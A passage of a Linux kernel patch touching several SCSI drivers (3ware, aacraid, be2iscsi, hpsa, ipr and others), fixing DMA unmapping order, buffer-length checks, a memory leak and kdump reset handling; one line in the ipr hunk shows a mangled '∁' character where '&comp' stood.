zero-length transfer like + * a mapped SGL. + */ +static bool twa_command_mapped(struct scsi_cmnd *cmd) +{ + return scsi_sg_count(cmd) != 1 || + scsi_bufflen(cmd) >= TW_MIN_SGL_LENGTH; +} + /* This function will complete an aen request from the isr */ static int twa_aen_complete(TW_Device_Extension *tw_dev, int request_id) { @@ -1352,11 +1362,12 @@ static irqreturn_t twa_interrupt(int irq, void *dev_instance) } /* Now complete the io */ + if (twa_command_mapped(cmd)) + scsi_dma_unmap(cmd); + cmd->scsi_done(cmd); tw_dev->state[request_id] = TW_S_COMPLETED; twa_free_request_id(tw_dev, request_id); tw_dev->posted_request_count--; - tw_dev->srb[request_id]->scsi_done(tw_dev->srb[request_id]); - twa_unmap_scsi_data(tw_dev, request_id); } /* Check for valid status after each drain */ @@ -1414,26 +1425,6 @@ static void twa_load_sgl(TW_Device_Extension *tw_dev, TW_Command_Full *full_comm } } /* End twa_load_sgl() */ -/* This function will perform a pci-dma mapping for a scatter gather list */ -static int twa_map_scsi_sg_data(TW_Device_Extension *tw_dev, int request_id) -{ - int use_sg; - struct scsi_cmnd *cmd = tw_dev->srb[request_id]; - - use_sg = scsi_dma_map(cmd); - if (!use_sg) - return 0; - else if (use_sg < 0) { - TW_PRINTK(tw_dev->host, TW_DRIVER, 0x1c, "Failed to map scatter gather list"); - return 0; - } - - cmd->SCp.phase = TW_PHASE_SGLIST; - cmd->SCp.have_data_in = use_sg; - - return use_sg; -} /* End twa_map_scsi_sg_data() */ - /* This function will poll for a response interrupt of a request */ static int twa_poll_response(TW_Device_Extension *tw_dev, int request_id, int seconds) { @@ -1612,9 +1603,12 @@ static int twa_reset_device_extension(TW_Device_Extension *tw_dev) (tw_dev->state[i] != TW_S_INITIAL) && (tw_dev->state[i] != TW_S_COMPLETED)) { if (tw_dev->srb[i]) { - tw_dev->srb[i]->result = (DID_RESET << 16); - tw_dev->srb[i]->scsi_done(tw_dev->srb[i]); - twa_unmap_scsi_data(tw_dev, i); + struct scsi_cmnd *cmd = tw_dev->srb[i]; + + cmd->result = (DID_RESET << 16); + if (twa_command_mapped(cmd)) + scsi_dma_unmap(cmd); + cmd->scsi_done(cmd); } } } @@ -1793,21 +1787,20 @@ static int twa_scsi_queue_lck(struct scsi_cmnd *SCpnt, void (*done)(struct scsi_ /* Save the scsi command for use by the ISR */ tw_dev->srb[request_id] = SCpnt; - /* Initialize phase to zero */ - SCpnt->SCp.phase = TW_PHASE_INITIAL; - retval = twa_scsiop_execute_scsi(tw_dev, request_id, NULL, 0, NULL); switch (retval) { case SCSI_MLQUEUE_HOST_BUSY: + if (twa_command_mapped(SCpnt)) + scsi_dma_unmap(SCpnt); twa_free_request_id(tw_dev, request_id); - twa_unmap_scsi_data(tw_dev, request_id); break; case 1: - tw_dev->state[request_id] = TW_S_COMPLETED; - twa_free_request_id(tw_dev, request_id); - twa_unmap_scsi_data(tw_dev, request_id); SCpnt->result = (DID_ERROR << 16); + if (twa_command_mapped(SCpnt)) + scsi_dma_unmap(SCpnt); done(SCpnt); + tw_dev->state[request_id] = TW_S_COMPLETED; + twa_free_request_id(tw_dev, request_id); retval = 0; } out: @@ -1865,8 +1858,7 @@ static int twa_scsiop_execute_scsi(TW_Device_Extension *tw_dev, int request_id, /* Map sglist from scsi layer to cmd packet */ if (scsi_sg_count(srb)) { - if ((scsi_sg_count(srb) == 1) && - (scsi_bufflen(srb) < TW_MIN_SGL_LENGTH)) { + if (!twa_command_mapped(srb)) { if (srb->sc_data_direction == DMA_TO_DEVICE || srb->sc_data_direction == DMA_BIDIRECTIONAL) scsi_sg_copy_to_buffer(srb, @@ -1875,8 +1867,8 @@ static int twa_scsiop_execute_scsi(TW_Device_Extension *tw_dev, int request_id, command_packet->sg_list[0].address = TW_CPU_TO_SGL(tw_dev->generic_buffer_phys[request_id]); command_packet->sg_list[0].length = cpu_to_le32(TW_MIN_SGL_LENGTH); } else { - sg_count = twa_map_scsi_sg_data(tw_dev, request_id); - if (sg_count == 0) + sg_count = scsi_dma_map(srb); + if (sg_count < 0) goto out; scsi_for_each_sg(srb, sg, sg_count, i) { @@ -1939,7 +1931,7 @@ static void twa_scsiop_execute_scsi_complete(TW_Device_Extension *tw_dev, int re { struct scsi_cmnd *cmd = tw_dev->srb[request_id]; - if (scsi_bufflen(cmd) < TW_MIN_SGL_LENGTH && + if (!twa_command_mapped(cmd) && (cmd->sc_data_direction == DMA_FROM_DEVICE || cmd->sc_data_direction == DMA_BIDIRECTIONAL)) { if (scsi_sg_count(cmd) == 1) { @@ -1991,15 +1983,6 @@ static char *twa_string_lookup(twa_message_type *table, unsigned int code) return(table[index].text); } /* End twa_string_lookup() */ -/* This function will perform a pci-dma unmap */ -static void twa_unmap_scsi_data(TW_Device_Extension *tw_dev, int request_id) -{ - struct scsi_cmnd *cmd = tw_dev->srb[request_id]; - - if (cmd->SCp.phase == TW_PHASE_SGLIST) - scsi_dma_unmap(cmd); -} /* End twa_unmap_scsi_data() */ - /* This function gets called when a disk is coming on-line */ static int twa_slave_configure(struct scsi_device *sdev) { diff --git a/drivers/scsi/3w-9xxx.h b/drivers/scsi/3w-9xxx.h index 040f7214e5b7a..0fdc83cfa0e1a 100644 --- a/drivers/scsi/3w-9xxx.h +++ b/drivers/scsi/3w-9xxx.h @@ -324,11 +324,6 @@ static twa_message_type twa_error_table[] = { #define TW_CURRENT_DRIVER_BUILD 0 #define TW_CURRENT_DRIVER_BRANCH 0 -/* Phase defines */ -#define TW_PHASE_INITIAL 0 -#define TW_PHASE_SINGLE 1 -#define TW_PHASE_SGLIST 2 - /* Misc defines */ #define TW_9550SX_DRAIN_COMPLETED 0xFFFF #define TW_SECTOR_SIZE 512 diff --git a/drivers/scsi/3w-sas.c b/drivers/scsi/3w-sas.c index 4de346017e9ff..61702ac00d42f 100644 --- a/drivers/scsi/3w-sas.c +++ b/drivers/scsi/3w-sas.c @@ -303,26 +303,6 @@ static int twl_post_command_packet(TW_Device_Extension *tw_dev, int request_id) return 0; } /* End twl_post_command_packet() */ -/* This function will perform a pci-dma mapping for a scatter gather list */ -static int twl_map_scsi_sg_data(TW_Device_Extension *tw_dev, int request_id) -{ - int use_sg; - struct scsi_cmnd *cmd = tw_dev->srb[request_id]; - - use_sg = scsi_dma_map(cmd); - if (!use_sg) - return 0; - else if (use_sg < 0) { - TW_PRINTK(tw_dev->host, TW_DRIVER, 0x1, "Failed to map scatter gather list"); - return 0; - } - - cmd->SCp.phase = TW_PHASE_SGLIST; - cmd->SCp.have_data_in = use_sg; - - return use_sg; -} /* End twl_map_scsi_sg_data() */ - /* This function hands scsi cdb's to the firmware */ static int twl_scsiop_execute_scsi(TW_Device_Extension *tw_dev, int request_id, char *cdb, int use_sg, TW_SG_Entry_ISO *sglistarg) { @@ -370,8 +350,8 @@ static int twl_scsiop_execute_scsi(TW_Device_Extension *tw_dev, int request_id, if (!sglistarg) { /* Map sglist from scsi layer to cmd packet */ if (scsi_sg_count(srb)) { - sg_count = twl_map_scsi_sg_data(tw_dev, request_id); - if (sg_count == 0) + sg_count = scsi_dma_map(srb); + if (sg_count <= 0) goto out; scsi_for_each_sg(srb, sg, sg_count, i) { @@ -1116,15 +1096,6 @@ static int twl_initialize_device_extension(TW_Device_Extension *tw_dev) return retval; } /* End twl_initialize_device_extension() */ -/* This function will perform a pci-dma unmap */ -static void twl_unmap_scsi_data(TW_Device_Extension *tw_dev, int request_id) -{ - struct scsi_cmnd *cmd = tw_dev->srb[request_id]; - - if (cmd->SCp.phase == TW_PHASE_SGLIST) - scsi_dma_unmap(cmd); -} /* End twl_unmap_scsi_data() */ - /* This function will handle attention interrupts */ static int twl_handle_attention_interrupt(TW_Device_Extension *tw_dev) { @@ -1265,11 +1236,11 @@ static irqreturn_t twl_interrupt(int irq, void *dev_instance) } /* Now complete the io */ + scsi_dma_unmap(cmd); + cmd->scsi_done(cmd); tw_dev->state[request_id] = TW_S_COMPLETED; twl_free_request_id(tw_dev, request_id); tw_dev->posted_request_count--; - tw_dev->srb[request_id]->scsi_done(tw_dev->srb[request_id]); - twl_unmap_scsi_data(tw_dev, request_id); } /* Check for another response interrupt */ @@ -1414,10 +1385,12 @@ static int twl_reset_device_extension(TW_Device_Extension *tw_dev, int ioctl_res if ((tw_dev->state[i] != TW_S_FINISHED) && (tw_dev->state[i] != TW_S_INITIAL) && (tw_dev->state[i] != TW_S_COMPLETED)) { - if (tw_dev->srb[i]) { - tw_dev->srb[i]->result = (DID_RESET << 16); - tw_dev->srb[i]->scsi_done(tw_dev->srb[i]); - twl_unmap_scsi_data(tw_dev, i); + struct scsi_cmnd *cmd = tw_dev->srb[i]; + + if (cmd) { + cmd->result = (DID_RESET << 16); + scsi_dma_unmap(cmd); + cmd->scsi_done(cmd); } } } @@ -1521,9 +1494,6 @@ static int twl_scsi_queue_lck(struct scsi_cmnd *SCpnt, void (*done)(struct scsi_ /* Save the scsi command for use by the ISR */ tw_dev->srb[request_id] = SCpnt; - /* Initialize phase to zero */ - SCpnt->SCp.phase = TW_PHASE_INITIAL; - retval = twl_scsiop_execute_scsi(tw_dev, request_id, NULL, 0, NULL); if (retval) { tw_dev->state[request_id] = TW_S_COMPLETED; diff --git a/drivers/scsi/3w-sas.h b/drivers/scsi/3w-sas.h index d474892701d45..fec6449c75951 100644 --- a/drivers/scsi/3w-sas.h +++ b/drivers/scsi/3w-sas.h @@ -103,10 +103,6 @@ static char *twl_aen_severity_table[] = #define TW_CURRENT_DRIVER_BUILD 0 #define TW_CURRENT_DRIVER_BRANCH 0 -/* Phase defines */ -#define TW_PHASE_INITIAL 0 -#define TW_PHASE_SGLIST 2 - /* Misc defines */ #define TW_SECTOR_SIZE 512 #define TW_MAX_UNITS 32 diff --git a/drivers/scsi/3w-xxxx.c b/drivers/scsi/3w-xxxx.c index 430ee3774c3b6..8843ad783b41e 100644 --- a/drivers/scsi/3w-xxxx.c +++ b/drivers/scsi/3w-xxxx.c @@ -1283,32 +1283,6 @@ static int tw_initialize_device_extension(TW_Device_Extension *tw_dev) return 0; } /* End tw_initialize_device_extension() */ -static int tw_map_scsi_sg_data(struct pci_dev *pdev, struct scsi_cmnd *cmd) -{ - int use_sg; - - dprintk(KERN_WARNING "3w-xxxx: tw_map_scsi_sg_data()\n"); - - use_sg = scsi_dma_map(cmd); - if (use_sg < 0) { - printk(KERN_WARNING "3w-xxxx: tw_map_scsi_sg_data(): pci_map_sg() failed.\n"); - return 0; - } - - cmd->SCp.phase = TW_PHASE_SGLIST; - cmd->SCp.have_data_in = use_sg; - - return use_sg; -} /* End tw_map_scsi_sg_data() */ - -static void tw_unmap_scsi_data(struct pci_dev *pdev, struct scsi_cmnd *cmd) -{ - dprintk(KERN_WARNING "3w-xxxx: tw_unmap_scsi_data()\n"); - - if (cmd->SCp.phase == TW_PHASE_SGLIST) - scsi_dma_unmap(cmd); -} /* End tw_unmap_scsi_data() */ - /* This function will reset a device extension */ static int tw_reset_device_extension(TW_Device_Extension *tw_dev) { @@ -1331,8 +1305,8 @@ static int tw_reset_device_extension(TW_Device_Extension *tw_dev) srb = tw_dev->srb[i]; if (srb != NULL) { srb->result = (DID_RESET << 16); - tw_dev->srb[i]->scsi_done(tw_dev->srb[i]); - tw_unmap_scsi_data(tw_dev->tw_pci_dev, tw_dev->srb[i]); + scsi_dma_unmap(srb); + srb->scsi_done(srb); } } } @@ -1779,8 +1753,8 @@ static int tw_scsiop_read_write(TW_Device_Extension *tw_dev, int request_id) command_packet->byte8.io.lba = lba; command_packet->byte6.block_count = num_sectors; - use_sg = tw_map_scsi_sg_data(tw_dev->tw_pci_dev, tw_dev->srb[request_id]); - if (!use_sg) + use_sg = scsi_dma_map(srb); + if (use_sg <= 0) return 1; scsi_for_each_sg(tw_dev->srb[request_id], sg, use_sg, i) { @@ -1967,9 +1941,6 @@ static int tw_scsi_queue_lck(struct scsi_cmnd *SCpnt, void (*done)(struct scsi_c /* Save the scsi command for use by the ISR */ tw_dev->srb[request_id] = SCpnt; - /* Initialize phase to zero */ - SCpnt->SCp.phase = TW_PHASE_INITIAL; - switch (*command) { case READ_10: case READ_6: @@ -2196,12 +2167,11 @@ static irqreturn_t tw_interrupt(int irq, void *dev_instance) /* Now complete the io */ if ((error != TW_ISR_DONT_COMPLETE)) { + scsi_dma_unmap(tw_dev->srb[request_id]); + tw_dev->srb[request_id]->scsi_done(tw_dev->srb[request_id]); tw_dev->state[request_id] = TW_S_COMPLETED; tw_state_request_finish(tw_dev, request_id); tw_dev->posted_request_count--; - tw_dev->srb[request_id]->scsi_done(tw_dev->srb[request_id]); - - tw_unmap_scsi_data(tw_dev->tw_pci_dev, tw_dev->srb[request_id]); } } diff --git a/drivers/scsi/3w-xxxx.h b/drivers/scsi/3w-xxxx.h index 49dcf03c631a5..1d31858766ce4 100644 --- a/drivers/scsi/3w-xxxx.h +++ b/drivers/scsi/3w-xxxx.h @@ -195,11 +195,6 @@ static unsigned char tw_sense_table[][4] = #define TW_AEN_SMART_FAIL 0x000F #define TW_AEN_SBUF_FAIL 0x0024 -/* Phase defines */ -#define TW_PHASE_INITIAL 0 -#define TW_PHASE_SINGLE 1 -#define TW_PHASE_SGLIST 2 - /* Misc defines */ #define TW_ALIGNMENT_6000 64 /* 64 bytes */ #define TW_ALIGNMENT_7000 4 /* 4 bytes */ diff --git a/drivers/scsi/aacraid/commctrl.c b/drivers/scsi/aacraid/commctrl.c index ee6caddd978c1..d6fcadd7de2c7 100644 --- a/drivers/scsi/aacraid/commctrl.c +++ b/drivers/scsi/aacraid/commctrl.c @@ -63,7 +63,7 @@ static int ioctl_send_fib(struct aac_dev * dev, void __user *arg) struct fib *fibptr; struct hw_fib * hw_fib = (struct hw_fib *)0; dma_addr_t hw_fib_pa = (dma_addr_t)0LL; - unsigned size; + unsigned int size, osize; int retval; if (dev->in_reset) { @@ -87,7 +87,8 @@ static int ioctl_send_fib(struct aac_dev * dev, void __user *arg) * will not overrun the buffer when we copy the memory. Return * an error if we would. */ - size = le16_to_cpu(kfib->header.Size) + sizeof(struct aac_fibhdr); + osize = size = le16_to_cpu(kfib->header.Size) + + sizeof(struct aac_fibhdr); if (size < le16_to_cpu(kfib->header.SenderSize)) size = le16_to_cpu(kfib->header.SenderSize); if (size > dev->max_fib_size) { @@ -118,6 +119,14 @@ static int ioctl_send_fib(struct aac_dev * dev, void __user *arg) goto cleanup; } + /* Sanity check the second copy */ + if ((osize != le16_to_cpu(kfib->header.Size) + + sizeof(struct aac_fibhdr)) + || (size < le16_to_cpu(kfib->header.SenderSize))) { + retval = -EINVAL; + goto cleanup; + } + if (kfib->header.Command == cpu_to_le16(TakeABreakPt)) { aac_adapter_interrupt(dev); /* diff --git a/drivers/scsi/aacraid/commsup.c b/drivers/scsi/aacraid/commsup.c index 1be0776a80c4b..284efac5f2026 100644 --- a/drivers/scsi/aacraid/commsup.c +++ b/drivers/scsi/aacraid/commsup.c @@ -83,9 +83,12 @@ static int fib_map_alloc(struct aac_dev *dev) void aac_fib_map_free(struct aac_dev *dev) { - pci_free_consistent(dev->pdev, - dev->max_fib_size * (dev->scsi_host_ptr->can_queue + AAC_NUM_MGT_FIB), - dev->hw_fib_va, dev->hw_fib_pa); + if (dev->hw_fib_va && dev->max_fib_size) { + pci_free_consistent(dev->pdev, + (dev->max_fib_size * + (dev->scsi_host_ptr->can_queue + AAC_NUM_MGT_FIB)), + dev->hw_fib_va, dev->hw_fib_pa); + } dev->hw_fib_va = NULL; dev->hw_fib_pa = 0; } @@ -587,10 +590,10 @@ int aac_fib_send(u16 command, struct fib *fibptr, unsigned long size, } return -EFAULT; } - /* We used to udelay() here but that absorbed - * a CPU when a timeout occured. Not very - * useful. */ - cpu_relax(); + /* + * Allow other processes / CPUS to use core + */ + schedule(); } } else if (down_interruptible(&fibptr->event_wait)) { /* Do nothing ... satisfy @@ -1917,6 +1920,10 @@ int aac_command_thread(void *data) if (difference <= 0) difference = 1; set_current_state(TASK_INTERRUPTIBLE); + + if (kthread_should_stop()) + break; + schedule_timeout(difference); if (kthread_should_stop()) diff --git a/drivers/scsi/be2iscsi/be_main.c b/drivers/scsi/be2iscsi/be_main.c index d24a2867bc21c..02278130826b7 100644 --- a/drivers/scsi/be2iscsi/be_main.c +++ b/drivers/scsi/be2iscsi/be_main.c @@ -564,7 +564,6 @@ static struct beiscsi_hba *beiscsi_hba_alloc(struct pci_dev *pcidev) "beiscsi_hba_alloc - iscsi_host_alloc failed\n"); return NULL; } - shost->dma_boundary = pcidev->dma_mask; shost->max_id = BE2_MAX_SESSIONS; shost->max_channel = 0; shost->max_cmd_len = BEISCSI_MAX_CMD_LEN; @@ -2979,7 +2978,7 @@ be_sgl_create_contiguous(void *virtual_address, { WARN_ON(!virtual_address); WARN_ON(!physical_address); - WARN_ON(!length > 0); + WARN_ON(!length); WARN_ON(!sgl); sgl->va = virtual_address; @@ -4041,6 +4040,7 @@ static int beiscsi_setup_boot_info(struct beiscsi_hba *phba) scsi_host_put(phba->shost); free_kset: iscsi_boot_destroy_kset(phba->boot_kset); + phba->boot_kset = NULL; return -ENOMEM; } @@ -5081,9 +5081,9 @@ static int beiscsi_dev_probe(struct pci_dev *pcidev, hba_free: if (phba->msix_enabled) pci_disable_msix(phba->pcidev); - iscsi_host_remove(phba->shost); pci_dev_put(phba->pcidev); iscsi_host_free(phba->shost); + pci_set_drvdata(pcidev, NULL); disable_pci: pci_disable_device(pcidev); return ret; diff --git a/drivers/scsi/be2iscsi/be_mgmt.c b/drivers/scsi/be2iscsi/be_mgmt.c index 245a9595a93a1..ef0a78b0d730a 100644 --- a/drivers/scsi/be2iscsi/be_mgmt.c +++ b/drivers/scsi/be2iscsi/be_mgmt.c @@ -812,17 +812,20 @@ mgmt_static_ip_modify(struct beiscsi_hba *phba, if (ip_action == IP_ACTION_ADD) { memcpy(req->ip_params.ip_record.ip_addr.addr, ip_param->value, - ip_param->len); + sizeof(req->ip_params.ip_record.ip_addr.addr)); if (subnet_param) memcpy(req->ip_params.ip_record.ip_addr.subnet_mask, - subnet_param->value, subnet_param->len); + subnet_param->value, + sizeof(req->ip_params.ip_record.ip_addr.subnet_mask)); } else { memcpy(req->ip_params.ip_record.ip_addr.addr, - if_info->ip_addr.addr, ip_param->len); + if_info->ip_addr.addr, + sizeof(req->ip_params.ip_record.ip_addr.addr)); memcpy(req->ip_params.ip_record.ip_addr.subnet_mask, - if_info->ip_addr.subnet_mask, ip_param->len); + if_info->ip_addr.subnet_mask, + sizeof(req->ip_params.ip_record.ip_addr.subnet_mask)); } rc = mgmt_exec_nonemb_cmd(phba, &nonemb_cmd, NULL, 0); @@ -850,7 +853,7 @@ static int mgmt_modify_gateway(struct beiscsi_hba *phba, uint8_t *gt_addr, req->action = gtway_action; req->ip_addr.ip_type = BE2_IPV4; - memcpy(req->ip_addr.addr, gt_addr, param_len); + memcpy(req->ip_addr.addr, gt_addr, sizeof(req->ip_addr.addr)); return mgmt_exec_nonemb_cmd(phba, &nonemb_cmd, NULL, 0); } diff --git a/drivers/scsi/bfa/bfa_ioc.h b/drivers/scsi/bfa/bfa_ioc.h index 23a90e7b71071..a119421cb3246 100644 --- a/drivers/scsi/bfa/bfa_ioc.h +++ b/drivers/scsi/bfa/bfa_ioc.h @@ -72,7 +72,7 @@ struct bfa_sge_s { } while (0) #define bfa_swap_words(_x) ( \ - ((_x) << 32) | ((_x) >> 32)) + ((u64)(_x) << 32) | ((u64)(_x) >> 32)) #ifdef __BIG_ENDIAN #define bfa_sge_to_be(_x) diff --git a/drivers/scsi/bnx2fc/bnx2fc_fcoe.c b/drivers/scsi/bnx2fc/bnx2fc_fcoe.c index 69ac55495c1d7..aad5535db7825 100644 --- a/drivers/scsi/bnx2fc/bnx2fc_fcoe.c +++ b/drivers/scsi/bnx2fc/bnx2fc_fcoe.c @@ -411,6 +411,7 @@ static int bnx2fc_rcv(struct sk_buff *skb, struct net_device *dev, struct fc_frame_header *fh; struct fcoe_rcv_info *fr; struct fcoe_percpu_s *bg; + struct sk_buff *tmp_skb; unsigned short oxid; interface = container_of(ptype, struct bnx2fc_interface, @@ -423,6 +424,12 @@ static int bnx2fc_rcv(struct sk_buff *skb, struct net_device *dev, goto err; } + tmp_skb = skb_share_check(skb, GFP_ATOMIC); + if (!tmp_skb) + goto err; + + skb = tmp_skb; + if (unlikely(eth_hdr(skb)->h_proto != htons(ETH_P_FCOE))) { printk(KERN_ERR PFX "bnx2fc_rcv: Wrong FC type frame\n"); goto err; diff --git a/drivers/scsi/device_handler/scsi_dh_rdac.c b/drivers/scsi/device_handler/scsi_dh_rdac.c index 69c915aa77c24..d661fcda19320 100644 --- a/drivers/scsi/device_handler/scsi_dh_rdac.c +++ b/drivers/scsi/device_handler/scsi_dh_rdac.c @@ -569,7 +569,7 @@ static int mode_select_handle_sense(struct scsi_device *sdev, /* * Command Lock contention */ - err = SCSI_DH_RETRY; + err = SCSI_DH_IMM_RETRY; break; default: break; @@ -619,6 +619,8 @@ static void send_mode_select(struct work_struct *work) err = mode_select_handle_sense(sdev, h->sense); if (err == SCSI_DH_RETRY && retry_cnt--) goto retry; + if (err == SCSI_DH_IMM_RETRY) + goto retry; } if (err == SCSI_DH_OK) { h->state = RDAC_STATE_ACTIVE; diff --git a/drivers/scsi/hosts.c b/drivers/scsi/hosts.c index 3cafe0d784b89..3020f1ff4abb9 100644 --- a/drivers/scsi/hosts.c +++ b/drivers/scsi/hosts.c @@ -305,6 +305,17 @@ static void scsi_host_dev_release(struct device *dev) kfree(queuedata); } + if (shost->shost_state == SHOST_CREATED) { + /* + * Free the shost_dev device name here if scsi_host_alloc() + * and scsi_host_put() have been called but neither + * scsi_host_add() nor scsi_host_remove() has been called. + * This avoids that the memory allocated for the shost_dev + * name is leaked. + */ + kfree(dev_name(&shost->shost_dev)); + } + scsi_destroy_command_freelist(shost); if (shost->bqt) blk_free_tags(shost->bqt); diff --git a/drivers/scsi/hpsa.c b/drivers/scsi/hpsa.c index 0353d7f2172ba..a6cdf17e27dc6 100644 --- a/drivers/scsi/hpsa.c +++ b/drivers/scsi/hpsa.c @@ -1206,8 +1206,8 @@ static void complete_scsi_command(struct CommandList *cp) scsi_set_resid(cmd, ei->ResidualCnt); if (ei->CommandStatus == 0) { - cmd->scsi_done(cmd); cmd_free(h, cp); + cmd->scsi_done(cmd); return; } @@ -1380,8 +1380,8 @@ static void complete_scsi_command(struct CommandList *cp) dev_warn(&h->pdev->dev, "cp %p returned unknown status %x\n", cp, ei->CommandStatus); } - cmd->scsi_done(cmd); cmd_free(h, cp); + cmd->scsi_done(cmd); } static void hpsa_pci_unmap(struct pci_dev *pdev, @@ -3118,7 +3118,7 @@ static int hpsa_big_passthru_ioctl(struct ctlr_info *h, void __user *argp) } if (ioc->Request.Type.Direction == XFER_WRITE) { if (copy_from_user(buff[sg_used], data_ptr, sz)) { - status = -ENOMEM; + status = -EFAULT; goto cleanup1; } } else @@ -3898,10 +3898,6 @@ static int hpsa_kdump_hard_reset_controller(struct pci_dev *pdev) /* Save the PCI command register */ pci_read_config_word(pdev, 4, &command_register); - /* Turn the board off. This is so that later pci_restore_state() - * won't turn the board on before the rest of config space is ready. - */ - pci_disable_device(pdev); pci_save_state(pdev); /* find the first memory BAR, so we can find the cfg table */ @@ -3949,11 +3945,6 @@ static int hpsa_kdump_hard_reset_controller(struct pci_dev *pdev) goto unmap_cfgtable; pci_restore_state(pdev); - rc = pci_enable_device(pdev); - if (rc) { - dev_warn(&pdev->dev, "failed to enable device.\n"); - goto unmap_cfgtable; - } pci_write_config_word(pdev, 4, command_register); /* Some devices (notably the HP Smart Array 5i Controller) @@ -4448,6 +4439,23 @@ static int hpsa_init_reset_devices(struct pci_dev *pdev) if (!reset_devices) return 0; + /* kdump kernel is loading, we don't know in which state is + * the pci interface. The dev->enable_cnt is equal zero + * so we call enable+disable, wait a while and switch it on. + */ + rc = pci_enable_device(pdev); + if (rc) { + dev_warn(&pdev->dev, "Failed to enable PCI device\n"); + return -ENODEV; + } + pci_disable_device(pdev); + msleep(260); /* a randomly chosen number */ + rc = pci_enable_device(pdev); + if (rc) { + dev_warn(&pdev->dev, "failed to enable device.\n"); + return -ENODEV; + } + pci_set_master(pdev); /* Reset the controller with a PCI power-cycle or via doorbell */ rc = hpsa_kdump_hard_reset_controller(pdev); @@ -4456,10 +4464,11 @@ static int hpsa_init_reset_devices(struct pci_dev *pdev) * "performant mode". Or, it might be 640x, which can't reset * due to concerns about shared bbwc between 6402/6404 pair. */ - if (rc == -ENOTSUPP) - return rc; /* just try to do the kdump anyhow. */ - if (rc) - return -ENODEV; + if (rc) { + if (rc != -ENOTSUPP) /* just try to do the kdump anyhow. */ + rc = -ENODEV; + goto out_disable; + } /* Now try to get the controller to respond to a no-op */ dev_warn(&pdev->dev, "Waiting for controller to respond to no-op\n"); @@ -4470,7 +4479,11 @@ static int hpsa_init_reset_devices(struct pci_dev *pdev) dev_warn(&pdev->dev, "no-op failed%s\n", (i < 11 ? "; re-trying" : "")); } - return 0; + +out_disable: + + pci_disable_device(pdev); + return rc; } static int hpsa_allocate_cmd_pool(struct ctlr_info *h) @@ -4613,6 +4626,7 @@ static void hpsa_undo_allocations_after_kdump_soft_reset(struct ctlr_info *h) iounmap(h->transtable); if (h->cfgtable) iounmap(h->cfgtable); + pci_disable_device(h->pdev); pci_release_regions(h->pdev); kfree(h); } diff --git a/drivers/scsi/ipr.c b/drivers/scsi/ipr.c index 0ff37a5e286cf..2891faa8e3847 100644 --- a/drivers/scsi/ipr.c +++ b/drivers/scsi/ipr.c @@ -554,9 +554,10 @@ static void ipr_trc_hook(struct ipr_cmnd *ipr_cmd, { struct ipr_trace_entry *trace_entry; struct ipr_ioa_cfg *ioa_cfg = ipr_cmd->ioa_cfg; + unsigned int trace_index; - trace_entry = &ioa_cfg->trace[atomic_add_return - (1, &ioa_cfg->trace_index)%IPR_NUM_TRACE_ENTRIES]; + trace_index = atomic_add_return(1, &ioa_cfg->trace_index) & IPR_TRACE_INDEX_MASK; + trace_entry = &ioa_cfg->trace[trace_index]; trace_entry->time = jiffies; trace_entry->op_code = ipr_cmd->ioarcb.cmd_pkt.cdb[0]; trace_entry->type = type; @@ -645,6 +646,7 @@ static void ipr_init_ipr_cmnd(struct ipr_cmnd *ipr_cmd, ipr_reinit_ipr_cmnd(ipr_cmd); ipr_cmd->u.scratch = 0; ipr_cmd->sibling = NULL; + ipr_cmd->eh_comp = NULL; ipr_cmd->fast_done = fast_done; init_timer(&ipr_cmd->timer); } @@ -810,6 +812,8 @@ static void ipr_scsi_eh_done(struct ipr_cmnd *ipr_cmd) scsi_dma_unmap(ipr_cmd->scsi_cmd); scsi_cmd->scsi_done(scsi_cmd); + if (ipr_cmd->eh_comp) + complete(ipr_cmd->eh_comp); list_add_tail(&ipr_cmd->queue, &ipr_cmd->hrrq->hrrq_free_q); } @@ -1003,10 +1007,15 @@ static void ipr_send_blocking_cmd(struct ipr_cmnd *ipr_cmd, static int ipr_get_hrrq_index(struct ipr_ioa_cfg *ioa_cfg) { + unsigned int hrrq; + if (ioa_cfg->hrrq_num == 1) - return 0; - else - return (atomic_add_return(1, &ioa_cfg->hrrq_index) % (ioa_cfg->hrrq_num - 1)) + 1; + hrrq = 0; + else { + hrrq = atomic_add_return(1, &ioa_cfg->hrrq_index); + hrrq = (hrrq % (ioa_cfg->hrrq_num - 1)) + 1; + } + return hrrq; } /** @@ -3899,13 +3908,17 @@ static ssize_t ipr_store_update_fw(struct device *dev, struct ipr_sglist *sglist; char fname[100]; char *src; - int len, result, dnld_size; + char *endline; + int result, dnld_size; if (!capable(CAP_SYS_ADMIN)) return -EACCES; - len = snprintf(fname, 99, "%s", buf); - fname[len-1] = '\0'; + snprintf(fname, sizeof(fname), "%s", buf); + + endline = strchr(fname, '\n'); + if (endline) + *endline = '\0'; if (request_firmware(&fw_entry, fname, &ioa_cfg->pdev->dev)) { dev_err(&ioa_cfg->pdev->dev, "Firmware file %s not found\n", fname); @@ -4767,6 +4780,84 @@ static int ipr_slave_alloc(struct scsi_device *sdev) return rc; } +/** + * ipr_match_lun - Match function for specified LUN + * @ipr_cmd: ipr command struct + * @device: device to match (sdev) + * + * Returns: + * 1 if command matches sdev / 0 if command does not match sdev + **/ +static int ipr_match_lun(struct ipr_cmnd *ipr_cmd, void *device) +{ + if (ipr_cmd->scsi_cmd && ipr_cmd->scsi_cmd->device == device) + return 1; + return 0; +} + +/** + * ipr_wait_for_ops - Wait for matching commands to complete + * @ipr_cmd: ipr command struct + * @device: device to match (sdev) + * @match: match function to use + * + * Returns: + * SUCCESS / FAILED + **/ +static int ipr_wait_for_ops(struct ipr_ioa_cfg *ioa_cfg, void *device, + int (*match)(struct ipr_cmnd *, void *)) +{ + struct ipr_cmnd *ipr_cmd; + int wait; + unsigned long flags; + struct ipr_hrr_queue *hrrq; + signed long timeout = IPR_ABORT_TASK_TIMEOUT; + DECLARE_COMPLETION_ONSTACK(comp); + + ENTER; + do { + wait = 0; + + for_each_hrrq(hrrq, ioa_cfg) { + spin_lock_irqsave(hrrq->lock, flags); + list_for_each_entry(ipr_cmd, &hrrq->hrrq_pending_q, queue) { + if (match(ipr_cmd, device)) { + ipr_cmd->eh_comp = ∁ + wait++; + } + } + spin_unlock_irqrestore(hrrq->lock, flags); + } + + if (wait) { + timeout = wait_for_completion_timeout(&comp, timeout); + + if (!timeout) { + wait = 0; + + for_each_hrrq(hrrq, ioa_cfg) { + spin_lock_irqsave(hrrq->lock, flags); + list_for_each_entry(ipr_cmd, &hrrq->hrrq_pending_q, queue) { + if (match(ipr_cmd, device)) { + ipr_cmd->eh_comp = NULL; + wait++; + } + } + spin_unlock_irqrestore(hrrq->lock, flags); + } + + if 